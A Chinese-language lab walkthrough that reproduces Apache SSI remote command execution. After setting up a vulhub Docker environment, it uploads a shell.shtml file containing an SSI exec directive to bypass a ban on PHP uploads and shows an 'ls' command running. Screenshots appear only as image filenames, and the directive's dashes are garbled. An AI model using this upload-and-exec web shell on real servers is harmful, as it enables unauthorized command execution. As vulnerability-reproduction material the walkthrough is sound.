Apache SSI 远程命令执行漏洞验证

一、漏洞背景

  在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!–#exec cmd=”id” –>语法执行任意命令。

参考链接:
https://httpd.apache.org/docs/2.4/howto/ssi.html
https://www.w3.org/Jigsaw/Doc/User/SSI.html

二、漏洞环境搭建

运行一个支持SSI与CGI的Apache服务器:

下载

wget https://github.com.cnpmjs.org/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master/httpd/ssi-rce/
docker-compose up -d
docker-compose build

三、漏洞复现

正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:

<!–#exec cmd=”ls” →

53a06b72b33847ba0d65e3a92557767a.png

d2dec7c9748afe40c7e53dd9b47330f0.png

成功上传,然后访问shell.shtml,可见命令已成功执行:

4f6de5936252525227522ce39833db93.png
8b49a0aae14c2b1b424bf9a583a6d5ce.png

d7e3cac19ed79772f568460405f7e81e.png